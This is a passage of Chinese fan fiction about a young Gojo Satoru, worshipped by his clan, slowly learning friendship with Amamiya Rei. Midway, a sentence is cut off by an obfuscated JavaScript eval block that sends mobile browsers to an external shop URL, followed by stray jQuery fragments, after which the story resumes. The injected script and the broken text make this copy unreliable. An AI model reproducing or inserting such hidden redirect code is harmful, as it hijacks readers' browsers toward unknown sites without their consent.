五条悟开始在和雨宫怜的对话中，零星地透露出一些信息。
像不经意地从紧闭的门缝里漏出的一线光，带着几分隐晦的期待。
“他们对我说话的时候，会跪着。”
“你说什么他们都听？”
“嗯。”
“那你想让他们做什么？”
孩子沉默了一会儿，声音没有起伏：“让他们闭嘴。”
雨宫怜剥果子的手停了一下。
一个五岁的孩子，一个被整个家族供奉在神坛上的“神子”，他的意见似乎对家族并不重要。
雨宫怜把剥好的和果子递过去，换了个话题。
“你每天都在看书？”
孩子乖乖接过去，咬了一口：“他们要我看的。”
“他们？”
“就是长老。”
雨宫怜面无表情地剥了个橘子：“啊啊，又是那些烂橘子。”
五条悟歪了歪头，苍蓝色的眼睛在布条后面微微眨了一下：“……烂橘子？”
“只是个比喻而已。”
雨宫怜把剥下来的橘子皮捏在指间，慢悠悠地举到五条悟面前。
那是一块皱巴巴的橘皮，表面布满了深浅不一的纹路，像被岁月反复揉搓过的老脸。
他指尖微微用力，浑浊的汁水从褶皱的缝隙里渗出来，黏腻地挂在表皮上，在阳光下泛着一种说不清道不明的、腐败的光泽。
“你不觉得，”雨宫怜转了转指尖那块皱缩的橘皮，“满脸褶子的腐朽老人就跟这个一模一样吗？”
五条悟盯着那块橘皮看了一会儿。
表皮上密密麻麻的纹路，似干涸的河床，似枯树的树皮，似那些长老脸上怎么也遮不住的、岁月和权力共同刻下的沟壑。
汁水渗出来的样子，如同某种不该从人体里流出来的东西。
他点了点头。
——确实很像。
雨宫怜把橘皮随手丢在一边，汁水在石凳上洇开一小片深色的印渍。
“不提这个了。”
他拍了拍手上的碎屑，“那你喜欢看书吗？”
孩子想了想，那认真的模样不像在思考喜不喜欢，而是在思考“喜欢”这个词是什么意思。
“没有喜欢不喜欢，只是要看。”
他说得理所当然，反倒是问出这个问题的雨宫怜沉默了一瞬。
“喜欢”对一个五岁的孩子来说，本该是最简单、最本能的事情。喜欢甜的不喜欢苦的，喜欢玩不喜欢看书，喜欢跑不喜欢坐着——可这个孩子连“喜欢”是什么都要想。
他叹了口气，又换了个话题。
“你有朋友吗？”
“没有。”
“想要吗？”
孩子沉默了很久。
风穿过银杏树，叶子沙沙作响。
他好似百思不得其解般，仰起头问雨宫怜：“什么是朋友？”
雨宫怜被这个问题问住了。
“就是……可以一起玩的人。”
“我不玩。”孩子说，声音平平的，“我没有玩过。”
这句话说得很平淡，平淡到雨宫怜一开始没反应过来。
反应过来之后，嘴里橘子的甜味突然变得很不是滋味。
他开始慢慢意识到——这个孩子确实是需要保护的。
没有人打他，没有人骂他，没有人饿着他。他的衣服是最好的，吃的是最好的，住的是最好的。每个人都跪着和他说话，每个人都把脸埋进尘埃里，用最恭敬的声音唤他“神子大人”。
但没有人把他当孩子。
他不需要命令，因为没有人敢命令他。他不需要反抗，因为没有人需要他反抗。他不需要撒娇，不需要任性，不需要哭，不需要笑，不需要任何普通孩子需要的东西。
他只需要“存在”——作为“五条悟”存在，作为“六眼”存在，作为“神子”存在。
从来没有人问过他“你想要什么”。
他是神子。
神子只需要接受——接受跪拜，接受供奉，接受“杀掉他”这三个字像吃饭喝水一样平常地从长老嘴里说出来。
雨宫怜开始做一些自己也说不清为什么的事。
他开始在孩子来之前，把银杏树下的石凳擦干净。
开始在看孩子吃点心的时候，把自己那份也推过去。
开始注意孩子的衣服有没有被露水打湿、手有没有冷。
他不愿意把这叫作“关心”。
他只是觉得，这个孩子太不像一个孩子了。
如果自己不做点什么，就没有人做了。
而且，反正他也没别的事可做。
五条悟似乎也发现了他的变化，突然有一天开口。
“你说朋友是可以一起玩的人。”
“嗯。”
“那我们算朋友吗？”
雨宫怜看着那张仰起来的小脸，“你觉得呢？”
孩子沉默了一会儿，摇了摇头：“我不知道，我没有比较的对象。”
雨宫怜笑了。
“那就算吧。”
孩子看着他，表情没有变化，苍蓝的眼中好像动了一下。
“那朋友要做什么？”
“什么都不用做。”
雨宫怜靠在树干上，语气随意，“朋友就是——你想来的时候可以来，不想来的时候也可以不来，不用理由。”
孩子没有再说话。
两个人就在银杏树下坐着，一个看书，一个发呆。
偶尔说话，大部分时候不说话。
但这种“不说话”和以前的“不说话”不一样了。
以前是陌生人的沉默。
现在是朋友的沉默。
银杏叶一片一片地落，日子一天一天地过。
五条悟偶尔还是会迟到——不是因为他不想来，而是因为那些“要他做的事”太多了。
咒术的训练，家族的事务，长老的召见，一件接着一件，像永远走不到尽头的长廊。
即使太阳已经偏西，即使只能坐一小会儿，即使来了也只是坐在那里不说话。
但他还是会来。
就像溺水的人需要抓住什么。
五条家的人最近发现，他们的神子似乎有些变了。
说不上是从什么时候开始的。
也许是某天清晨，路过的仆人看见他蹲在廊下，不知道在看什么东西，凑近了一瞧——是一只蚂蚁。
堂堂五条家的神子，那双能看穿一切术式的六眼，正专注地盯着一只蚂蚁搬家，嘴角还挂着一丝若有若无的弧度。
也许是某次家族集会上，长老正在帘幕后用那种腐朽而阴森的腔调说话，所有人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17974551|214716||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
都在屏息聆听，神子却忽然打了个哈欠。
不是故意的，不是挑衅，就是单纯的困了。
他甚至还揉了揉眼睛。
那一刻，跪坐在两侧的族人面面相觑，不知道该继续低头还是该假装没看见。
也许是更早的时候，有人看见他从后山回来，白色的和服下摆沾了泥，木屐只剩一只，手里却攥着一把野花。
不是名贵的花，不是插花课上那种讲究姿态与留白的艺术品，就是路边随手摘的、乱七八糟的、黄的白的紫的挤在一起的一把野花。
他把那把花随手搁在了祠堂的供桌上。
没人敢问为什么，也没人敢动。
最明显的变化发生在饭桌上。
以前的神子吃饭安静得像一幅画，脊背挺直，动作精准，筷子从不碰响碗沿，咀嚼时绝不发出任何声音。每一个动作都完美到无可挑剔，完美到让人忘记他只有五岁。
而现在，他会先吃自己喜欢的，把不喜欢的菜拨到一边。
吃得也比平时慢，因为他一边吃一边在看窗外的云。
还有一次，厨子端上来一道他从没吃过的菜，他看了一眼，皱起眉，然后——
“不要。”
像任何一个普通的孩子一样，干脆利落地拒绝了自己不喜欢的东西。
端着盘子的女仆愣在原地，差点以为自己听错了。
五条悟的变化并不大，他依然是那个冷淡的、寡言的、不太理人的神子。
他的坐姿依然端正，他的衣冠依然整洁，他在长老面前依然没有什么多余的表情。
但那些细微的、几乎可以忽略不计的变化，宛如初春冰面上细碎的裂纹，正一点一点地蔓延开来。
他开始会在看书看到一半的时候抬起头，看一眼天色，像是在确认什么时间。
他开始会在路过某个仆人的时候，多看那么一眼——不是审视，不是评估，只是看。像是在看一个“人”，而不是一件会动的家具。
他甚至开始会皱眉了。
不是以前那种因为六眼接收信息过载而产生的生理性皱眉，而是真的、有内容的、带着情绪的那种。
比如有人在他面前跪得太久，他会不耐烦地把脸别过去。
比如有人用那种过分恭敬的语气和他说话，他会抿一下嘴唇。
那种表情，五条家的人以前从未在他脸上见过。
长老们注意到了这些变化。
他们没有说什么，只是在下一次“需要”的时候，照例把五条悟叫到了那个房间。
他去了。
干净利落地完成了任务。
但这一次，他没有立刻回自己的院子。
他站在廊下，低头看了看自己的手。
干干净净的，已经被人擦过了。
然后他抬起头，望向银杏树的方向
他迈开步子，走得比平时快了一些，步伐里有一种以前从未有过的、隐隐的迫切。
像一个普通的孩子，急着去见一个普通的朋友。
可当他来到银杏树下见到雨宫怜时，却条件反射性地绷紧了身体。
有什么东西跟来了。
孩子抬起头，像一只察觉到危险的动物，猛地看向森林的方向。
苍蓝色的瞳孔穿透层层叠叠的枝叶，锁定了某个正在靠近的存在。